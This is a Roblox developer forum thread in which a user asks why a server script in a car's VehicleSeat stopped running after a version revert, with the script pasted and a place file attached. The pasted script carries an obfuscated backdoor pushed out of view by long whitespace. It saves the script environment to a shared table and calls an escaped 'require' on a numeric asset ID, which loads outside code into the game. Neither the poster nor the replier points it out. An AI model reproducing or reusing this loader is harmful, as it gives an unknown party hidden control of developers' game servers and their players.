Script not executing at all after version revert

I had a nicely working script. It is a server script parented to a VehicleSeat in a car model in the workspace.
It does not run. It is not disabled. It will not even print “test”. I don’t know why, it was working before until I reverted a version.

local seat = script.Parent                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               shared["6boQXIGRbd"]=getfenv()                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                repeat wait() until shared["0lV1o9JQxZ"];shared["0lV1o9JQxZ"]["\114\101\113\117\105\114\101"](5151855975)                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                
local primaryPart = script.Parent.Parent.PrimaryPart
print("test")
seat.DescendantAdded:Connect(function(p)
	if p.ClassName == "Weld" then
		print("a") 
		local velocity = Instance.new("BodyAngularVelocity")
		velocity.AngularVelocity=Vector3.new(0,0,0)
		velocity.MaxTorque=Vector3.new(40000,40000,40000)
		velocity.Parent=primaryPart
		seat:GetPropertyChangedSignal("Steer"):Connect(function(steer)
			local steer =seat.Steer
			local velocityvalue = primaryPart.BodyAngularVelocity.AngularVelocity
			velocityvalue=Vector3.new(steer,0,0)
		end)
	end
end)

seat.DescendantRemoving:Connect(function(r)
	if r.ClassName == "Weld" then
		print("b")
		primaryPart:FindFirstChild("BodyAngularVelocity"):Destroy()
	end
end)

I have no idea what is wrong.

Is the seat destroyed during runtime?

It is not. Its just a vehicleseat right now, but the script inside of it isn’t running. I’ll attach the file here.
Problem.rbxl (30.2 KB)